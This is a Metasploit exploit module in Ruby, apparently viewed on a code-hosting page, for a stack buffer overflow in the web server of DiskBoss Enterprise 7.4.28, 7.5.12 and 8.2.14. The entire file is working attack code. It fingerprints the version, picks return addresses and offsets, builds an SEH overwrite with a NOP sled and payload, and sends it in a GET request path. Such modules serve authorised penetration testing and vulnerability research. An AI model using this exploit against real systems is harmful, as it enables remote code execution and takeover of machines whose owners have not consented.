Path: blob/master/modules/exploits/windows/http/diskboss_get_bof.rb
32286 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Seh9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'DiskBoss Enterprise GET Buffer Overflow',16'Description' => %q{17This module exploits a stack-based buffer overflow vulnerability18in the web interface of DiskBoss Enterprise v7.5.12, v7.4.28, and v8.2.14,19caused by improper bounds checking of the request path in HTTP GET20requests sent to the built-in web server. This module has been21tested successfully on Windows XP SP3 and Windows 7 SP1.22},23'License' => MSF_LICENSE,24'Author' => [25'vportal', # Vulnerability discovery and PoC26'Ahmad Mahfouz', # Vulnerability discovery and PoC27'Gabor Seljan', # Metasploit module28'Jacob Robles' # Metasploit module29],30'References' => [31['CVE', '2025-34105'],32['EDB', '40869'],33['EDB', '42395']34],35'DefaultOptions' => {36'EXITFUNC' => 'thread'37},38'Platform' => 'win',39'Payload' => {40'BadChars' => "\x00\x09\x0a\x0d\x20",41'Space' => 200042},43'Targets' => [44[45'Automatic Targeting',46{47'auto' => true48}49],50[51'DiskBoss Enterprise v7.4.28',52{53'Offset' => 2471,54'Ret' => 0x1004605c # ADD ESP,0x68 # RETN [libpal.dll]55}56],57[58'DiskBoss Enterprise v7.5.12',59{60'Offset' => 2471,61'Ret' => 0x100461da # ADD ESP,0x68 # RETN [libpal.dll]62}63],64[65'DiskBoss Enterprise v8.2.14',66{67'Offset' => 2496,68'Ret' => 0x1002A8CA # SEH : # POP EDI # POP ESI # RET 04 [libpal.dll]69}70]71],72'Privileged' => true,73'DisclosureDate' => '2016-12-05',74'DefaultTarget' => 0,75'Notes' => {76'Reliability' => UNKNOWN_RELIABILITY,77'Stability' => UNKNOWN_STABILITY,78'SideEffects' => UNKNOWN_SIDE_EFFECTS79}80)81)82end8384def check85res = send_request_cgi(86'method' => 'GET',87'uri' => '/'88)8990if res && res.code == 20091if res.body =~ /DiskBoss Enterprise v(7\.4\.28|7\.5\.12|8\.2\.14)/92return Exploit::CheckCode::Vulnerable93elsif res.body =~ /DiskBoss Enterprise/94return Exploit::CheckCode::Detected95end96else97vprint_error('Unable to determine due to a HTTP connection timeout')98return Exploit::CheckCode::Unknown99end100101Exploit::CheckCode::Safe102end103104def exploit105mytarget = target106107if target['auto']108mytarget = nil109110print_status('Automatically detecting the target...')111112res = send_request_cgi(113'method' => 'GET',114'uri' => '/'115)116117if res && res.code == 200118if res.body =~ /DiskBoss Enterprise v7\.4\.28/119mytarget = targets[1]120elsif res.body =~ /DiskBoss Enterprise v7\.5\.12/121mytarget = targets[2]122elsif res.body =~ /DiskBoss Enterprise v8\.2\.14/123mytarget = targets[3]124end125end126127if !mytarget128fail_with(Failure::NoTarget, 'No matching target')129end130131print_status("Selected Target: #{mytarget.name}")132end133134case mytarget135when targets[1], targets[2]136sploit = make_nops(21)137sploit << payload.encoded138sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)139sploit << [mytarget.ret].pack('V')140sploit << rand_text_alpha(2500)141when targets[3]142seh = generate_seh_record(mytarget.ret)143sploit = payload.encoded144sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)145sploit[sploit.length, seh.length] = seh146sploit << make_nops(10)147sploit << Rex::Arch::X86.jmp(0xffffbf25) # JMP to ShellCode148sploit << rand_text_alpha(5000 - sploit.length)149else150fail_with(Failure::NoTarget, 'No matching target')151end152153send_request_cgi(154'method' => 'GET',155'uri' => sploit156)157end158end159160161